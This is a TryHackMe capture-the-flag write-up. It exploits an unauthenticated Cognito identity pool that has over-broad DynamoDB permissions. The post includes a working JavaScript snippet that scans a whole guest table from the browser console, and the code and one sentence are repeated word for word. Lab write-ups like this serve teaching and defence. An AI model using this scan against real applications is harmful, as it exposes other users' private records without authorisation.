Complimentary Room TryHackMe Writeup :

Starting by visiting the target url : http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

we get this page :

checking the source code of the page , a app.js source code stood out :

Reading the file :

Now things are clear . We can observe a clear Insecure Direct Access to DynamoDB via Unauthenticated Cognito Identity Pool.

The app uses getItem to fetch only your own wellness record by guest_id. But the IAM unauthenticated role behind that Cognito pool almost certainly grants broader permissions (like dynamodb:Scan or dynamodb:Query) — which means anyone can bypass the app's restriction and dump every guest's record using the same guest credentials directly.

Crafting the exploit :

I wrote this script in javascript to scan the whole table since the challenge instructions hint the flag is in another guest's data .

// Same credentials the app already loaded
const dynamodb = new AWS.DynamoDB({ region: "us-east-1" });
// Instead of getItem (single record), SCAN the entire table
dynamodb.scan({
  TableName: "complimentary-GuestWellnessProfiles"
}, function(err, data) {
  if (err) {
    console.error("Scan failed:", err);
  } else {
    console.log("All guest records:", JSON.stringify(data.Items, null, 2));
    // Find the flag
    data.Items.forEach(item => {
      console.log("guest_id:", item.guest_id?.S, "| name:", item.name?.S, "| notes:", item.notes?.S);
    });
  }
});I used this exploit in console tab and it successfully scanned the table and I got the flag :

// Same credentials the app already loaded
const dynamodb = new AWS.DynamoDB({ region: "us-east-1" });
// Instead of getItem (single record), SCAN the entire table
dynamodb.scan({
  TableName: "complimentary-GuestWellnessProfiles"
}, function(err, data) {
  if (err) {
    console.error("Scan failed:", err);
  } else {
    console.log("All guest records:", JSON.stringify(data.Items, null, 2));
    // Find the flag
    data.Items.forEach(item => {
      console.log("guest_id:", item.guest_id?.S, "| name:", item.name?.S, "| notes:", item.notes?.S);
    });
  }
});I used this exploit in console tab and it successfully scanned the table and I got the flag :

Wrote by : LZR_404

Happy Hacking !!